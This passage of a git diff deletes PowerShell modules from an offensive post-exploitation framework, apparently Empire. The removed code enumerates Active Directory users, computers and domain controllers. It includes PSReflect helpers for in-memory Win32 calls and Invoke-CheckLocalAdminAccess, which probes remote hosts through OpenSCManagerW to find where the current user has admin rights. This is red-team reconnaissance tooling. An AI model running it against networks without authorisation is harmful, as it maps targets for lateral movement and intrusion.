$_" - } - } - } -} diff --git a/data/module_source/situational_awareness/network/Get-NetUser.ps1 b/data/module_source/situational_awareness/network/Get-NetUser.ps1 deleted file mode 100644 index 785175055..000000000 --- a/data/module_source/situational_awareness/network/Get-NetUser.ps1 +++ /dev/null @@ -1,247 +0,0 @@ - -function Get-NetDomainController { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomainController - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainController -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} - - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - -function Get-NetUser { - <# - .SYNOPSIS - Query information for a given user or users in the domain. - - .DESCRIPTION - This function users [ADSI] and LDAP to query the current - domain for all users. Another domain can be specified to - query for users across a trust. - This is a replacement for "net users /domain" - - .PARAMETER UserName - Username filter string, wildcards accepted. - - .PARAMETER Domain - The domain to query for users. If not supplied, the - current domain is used. - - .PARAMETER OU - The OU to pull users from. - - .PARAMETER Filter - The complete LDAP query string to use to query for users. - - .EXAMPLE - > Get-NetUser - Returns the member users of the current domain. - - .EXAMPLE - > Get-NetUser -Domain testing - Returns all the members in the "testing" domain. - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $UserName, - - [string] - $OU, - - [string] - $Filter, - - [string] - $Domain - ) - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainController))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we have an OU specified, be sure to through it in - if($OU){ - $dn = "OU=$OU,$dn" - } - - # if we could grab the primary DC for the current domain, use that for the query - if ($PrimaryDC){ - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # check if we're using a username filter or not - if($UserName){ - # samAccountType=805306368 indicates user objects - $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName))" - } - elseif($Filter){ - # filter is something like (samAccountName=*blah*) - $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" - } - else{ - $UserSearcher.filter='(&(samAccountType=805306368))' - } - $UserSearcher.PageSize = 200 - $UserSearcher.FindAll() | ForEach-Object { - # for each user/member, do a quick adsi object grab - $properties = $_.Properties - $out = New-Object psobject - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - $out - } - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if($UserName){ - $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=*$UserName*))" - } - # if we're specifying an OU - elseif($OU){ - $dn = "OU=$OU," + ([adsi]'').distinguishedname - $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - $UserSearcher.filter='(&(samAccountType=805306368))' - } - # if we're specifying a specific LDAP query string - elseif($Filter){ - # filter is something like (samAccountName=*blah*) - $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)$Filter)" - } - else{ - $UserSearcher = [adsisearcher]'(&(samAccountType=805306368))' - } - $UserSearcher.PageSize = 200 - - $UserSearcher.FindAll() | ForEach-Object { - # for each user/member, do a quick adsi object grab - $properties = $_.Properties - $out = New-Object psobject - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - if ($properties[$_].count -eq 1) { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - else { - $out | Add-Member Noteproperty $_ $properties[$_] - } - } - } - $out - } - } - } -} diff --git a/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1 b/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1 deleted file mode 100644 index 1800cc85c..000000000 --- a/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1 +++ /dev/null @@ -1,1172 +0,0 @@ -# PSReflect code for Windows API access -# Author: @mattifestation -# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 -function New-InMemoryModule -{ -<# -.SYNOPSIS - -Creates an in-memory assembly and module - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -When defining custom enums, structs, and unmanaged functions, it is -necessary to associate to an assembly module. This helper function -creates an in-memory module that can be passed to the 'enum', -'struct', and Add-Win32Type functions. - -.PARAMETER ModuleName - -Specifies the desired name for the in-memory assembly and module. If -ModuleName is not provided, it will default to a GUID. - -.EXAMPLE - -$Module = New-InMemoryModule -ModuleName Win32 -#> - - Param - ( - [Parameter(Position = 0)] - [ValidateNotNullOrEmpty()] - [String] - $ModuleName = [Guid]::NewGuid().ToString() - ) - - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() - - foreach ($Assembly in $LoadedAssemblies) { - if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { - return $Assembly - } - } - - $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - - return $ModuleBuilder -} - - -# A helper function used to reduce typing while defining function -# prototypes for Add-Win32Type. -function func -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $DllName, - - [Parameter(Position = 1, Mandatory = $True)] - [string] - $FunctionName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $ReturnType, - - [Parameter(Position = 3)] - [Type[]] - $ParameterTypes, - - [Parameter(Position = 4)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention, - - [Parameter(Position = 5)] - [Runtime.InteropServices.CharSet] - $Charset, - - [Switch] - $SetLastError - ) - - $Properties = @{ - DllName = $DllName - FunctionName = $FunctionName - ReturnType = $ReturnType - } - - if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } - if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } - if ($Charset) { $Properties['Charset'] = $Charset } - if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } - - New-Object PSObject -Property $Properties -} - - -function Add-Win32Type -{ -<# -.SYNOPSIS - -Creates a .NET type for an unmanaged Win32 function. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: func - -.DESCRIPTION - -Add-Win32Type enables you to easily interact with unmanaged (i.e. -Win32 unmanaged) functions in PowerShell. After providing -Add-Win32Type with a function signature, a .NET type is created -using reflection (i.e. csc.exe is never called like with Add-Type). - -The 'func' helper function can be used to reduce typing when defining -multiple function definitions. - -.PARAMETER DllName - -The name of the DLL. - -.PARAMETER FunctionName - -The name of the target function. - -.PARAMETER ReturnType - -The return type of the function. - -.PARAMETER ParameterTypes - -The function parameters. - -.PARAMETER NativeCallingConvention - -Specifies the native calling convention of the function. Defaults to -stdcall. - -.PARAMETER Charset - -If you need to explicitly call an 'A' or 'W' Win32 function, you can -specify the character set. - -.PARAMETER SetLastError - -Indicates whether the callee calls the SetLastError Win32 API -function before returning from the attributed method. - -.PARAMETER Module - -The in-memory module that will host the functions. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER Namespace - -An optional namespace to prepend to the type. Add-Win32Type defaults -to a namespace consisting only of the name of the DLL. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Kernel32 = $Types['kernel32'] -$Ntdll = $Types['ntdll'] -$Ntdll::RtlGetCurrentPeb() -$ntdllbase = $Kernel32::GetModuleHandle('ntdll') -$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - -.NOTES - -Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 - -When defining multiple function prototypes, it is ideal to provide -Add-Win32Type with an array of function signatures. That way, they -are all incorporated into the same in-memory module. -#> - - [OutputType([Hashtable])] - Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $DllName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $FunctionName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Type] - $ReturnType, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Type[]] - $ParameterTypes, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CharSet] - $Charset = [Runtime.InteropServices.CharSet]::Auto, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Switch] - $SetLastError, - - [Parameter(Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [ValidateNotNull()] - [String] - $Namespace = '' - ) - - BEGIN - { - $TypeHash = @{} - } - - PROCESS - { - if ($Module -is [Reflection.Assembly]) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") - } - else - { - $TypeHash[$DllName] = $Module.GetType($DllName) - } - } - else - { - # Define one type for each DLL - if (!$TypeHash.ContainsKey($DllName)) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') - } - else - { - $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') - } - } - - $Method = $TypeHash[$DllName].DefineMethod( - $FunctionName, - 'Public,Static,PinvokeImpl', - $ReturnType, - $ParameterTypes) - - # Make each ByRef parameter an Out parameter - $i = 1 - foreach($Parameter in $ParameterTypes) - { - if ($Parameter.IsByRef) - { - [void] $Method.DefineParameter($i, 'Out', $null) - } - - $i++ - } - - $DllImport = [Runtime.InteropServices.DllImportAttribute] - $SetLastErrorField = $DllImport.GetField('SetLastError') - $CallingConventionField = $DllImport.GetField('CallingConvention') - $CharsetField = $DllImport.GetField('CharSet') - if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } - - # Equivalent to C# version of [DllImport(DllName)] - $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) - $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, - $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) - - $Method.SetCustomAttribute($DllImportAttribute) - } - } - - END - { - if ($Module -is [Reflection.Assembly]) - { - return $TypeHash - } - - $ReturnTypes = @{} - - foreach ($Key in $TypeHash.Keys) - { - $Type = $TypeHash[$Key].CreateType() - - $ReturnTypes[$Key] = $Type - } - - return $ReturnTypes - } -} - - -# A helper function used to reduce typing while defining struct -# fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [UInt16] - $Position, - - [Parameter(Position = 1, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 2)] - [UInt16] - $Offset, - - [Object[]] - $MarshalAs - ) - - @{ - Position = $Position - Type = $Type -as [Type] - Offset = $Offset - MarshalAs = $MarshalAs - } -} - - -function struct -{ -<# -.SYNOPSIS - -Creates an in-memory struct for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: field - -.DESCRIPTION - -The 'struct' function facilitates the creation of structs entirely in -memory using as close to a "C style" as PowerShell will allow. Struct -fields are specified using a hashtable where each field of the struct -is comprosed of the order in which it should be defined, its .NET -type, and optionally, its offset and special marshaling attributes. - -One of the features of 'struct' is that after your struct is defined, -it will come with a built-in GetSize method as well as an explicit -converter so that you can easily cast an IntPtr to the struct without -relying upon calling SizeOf and/or PtrToStructure in the Marshal -class. - -.PARAMETER Module - -The in-memory module that will host the struct. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the struct. - -.PARAMETER StructFields - -A hashtable of fields. Use the 'field' helper function to ease -defining each field. - -.PARAMETER PackingSize - -Specifies the memory alignment of fields. - -.PARAMETER ExplicitLayout - -Indicates that an explicit offset for each field will be specified. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C -} - -$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 -} - -# Example of using an explicit layout in order to create a union. -$TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 -} -ExplicitLayout - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Struct. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 2, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $StructFields, - - [Reflection.Emit.PackingSize] - $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, - - [Switch] - $ExplicitLayout - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, - Class, - Public, - Sealed, - BeforeFieldInit' - - if ($ExplicitLayout) - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout - } - else - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout - } - - $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - $Fields = New-Object Hashtable[]($StructFields.Count) - - # Sort each field according to the orders specified - # Unfortunately, PSv2 doesn't have the luxury of the - # hashtable [Ordered] accelerator. - foreach ($Field in $StructFields.Keys) - { - $Index = $StructFields[$Field]['Position'] - $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} - } - - foreach ($Field in $Fields) - { - $FieldName = $Field['FieldName'] - $FieldProp = $Field['Properties'] - - $Offset = $FieldProp['Offset'] - $Type = $FieldProp['Type'] - $MarshalAs = $FieldProp['MarshalAs'] - - $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') - - if ($MarshalAs) - { - $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) - if ($MarshalAs[1]) - { - $Size = $MarshalAs[1] - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, - $UnmanagedType, $SizeConst, @($Size)) - } - else - { - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) - } - - $NewField.SetCustomAttribute($AttribBuilder) - } - - if ($ExplicitLayout) { $NewField.SetOffset($Offset) } - } - - # Make the struct aware of its own size. - # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! - $SizeMethod = $StructBuilder.DefineMethod('GetSize', - 'Public, Static', - [Int], - [Type[]] @()) - $ILGenerator = $SizeMethod.GetILGenerator() - # Thanks for the help, Jason Shirk! - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) - - # Allow for explicit casting from an IntPtr - # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! - $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', - 'PrivateScope, Public, Static, HideBySig, SpecialName', - $StructBuilder, - [Type[]] @([IntPtr])) - $ILGenerator2 = $ImplicitConverter.GetILGenerator() - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) - - $StructBuilder.CreateType() -} - - -function Get-ShuffledArray { - <# - .SYNOPSIS - Returns a randomly-shuffled version of a passed array. - - .DESCRIPTION - This function takes an array and returns a randomly-shuffled - version. - - .PARAMETER Array - The passed array to shuffle. - - .OUTPUTS - System.Array. The passed array but shuffled. - - .EXAMPLE - > $shuffled = Get-ShuffledArray $array - Get a shuffled version of $array. - - .LINK - http://sqlchow.wordpress.com/2013/03/04/shuffle-the-deck-using-powershell/ - #> - [CmdletBinding()] - param( - [Array]$Array - ) - Begin{} - Process{ - $len = $Array.Length - while($len){ - $i = Get-Random ($len --) - $tmp = $Array[$len] - $Array[$len] = $Array[$i] - $Array[$i] = $tmp - } - $Array; - } -} - - -function Get-HostIP { - <# - .SYNOPSIS - Takes a hostname and resolves it an IP. - - .DESCRIPTION - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. - - .OUTPUTS - System.String. The IPv4 address. - - .EXAMPLE - > Get-HostIP -hostname SERVER - Return the IPv4 address of 'SERVER' - #> - - [CmdletBinding()] - param( - [string] - $hostname = '' - ) - try{ - # get the IP resolution of this specified hostname - $results = @(([net.dns]::GetHostEntry($hostname)).AddressList) - - if ($results.Count -ne 0){ - foreach ($result in $results) { - # make sure the returned result is IPv4 - if ($result.AddressFamily -eq 'InterNetwork') { - $result.IPAddressToString - } - } - } - } - catch{ - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } -} - - -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. - - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. - - .PARAMETER Server - The hostname/IP to test connectivity to. - - .OUTPUTS - $True/$False - - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. - - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. - - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> - - [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] - [String] - $Server, - - [Switch] - $RPC - ) - - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } -} - - -function Get-NetCurrentUser { - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name -} - - -function Get-NetComputers { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. - - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). - - .PARAMETER Domain - The domain to query for computers. - - .OUTPUTS - System.Array. An array of found system objects. - - .EXAMPLE - > Get-NetComputers - Returns the current computers in current domain. - - .EXAMPLE - > Get-NetComputers -SPN mssql* - Returns all MS SQL servers on the domain. - - .EXAMPLE - > Get-NetComputers -Domain testing - Returns the current computers in 'testing' domain. - - > Get-NetComputers -Domain testing -FullData - Returns full computer objects in the 'testing' domain. - - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> - - [CmdletBinding()] - Param ( - [string] - $HostName = '*', - - [string] - $SPN = '*', - - [string] - $OperatingSystem = '*', - - [string] - $ServicePack = '*', - - [Switch] - $Ping, - - [Switch] - $FullData, - - [string] - $Domain - ) - - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } - - if ($CompSearcher){ - - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 - - $CompSearcher.FindAll() | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $_.properties - } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - } -} - - -function Get-NetDomainControllers { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .EXAMPLE - > Get-NetDomainControllers - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainControllers -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - # if a domain is specified, try to grab that domain - if ($Domain){ - - try{ - # try to create the context for the target domain - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext).DomainControllers - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $null - } - } - else{ - # otherwise, grab the current domain - [DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers - } -} - - -function Invoke-CheckLocalAdminAccess { - <# - .SYNOPSIS - Checks if the current user context has local administrator access - to a specified host or IP. - - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' - - .DESCRIPTION - This function will use the OpenSCManagerW Win32API call to to establish - a handle to the remote host. If this succeeds, the current user context - has local administrator acess to the target. - - .PARAMETER HostName - The hostname to query for active sessions. - - .OUTPUTS - $true if the current user has local admin access to the hostname, - $false otherwise - - .EXAMPLE - > Invoke-CheckLocalAdminAccess -HostName sqlserver - Returns active sessions on the local host. - - .LINK - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> - - [CmdletBinding()] - param( - [string] - $HostName = 'localhost' - ) - - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $handle = $Advapi32::OpenSCManagerW("\\$HostName", 'ServicesActive', 0xF003F) - - Write-Debug "Invoke-CheckLocalAdminAccess handle: $handle" - - # if we get a non-zero handle back, everything was successful - if ($handle -ne 0){ - # Close off the service handle - $Advapi32::CloseServiceHandle($handle) | Out-Null - $true - } - else{ - # otherwise it failed - get the last error - $err = $Kernel32::GetLastError() - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $err" - $false - } -} - -function Invoke-FindLocalAdminAccess { - <# - .SYNOPSIS - Finds machines on the local domain where the current user has - local administrator access. - - Idea stolen from the local_admin_search_enum post module in - Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' - - Author: @harmj0y - License: BSD 3-Clause - - 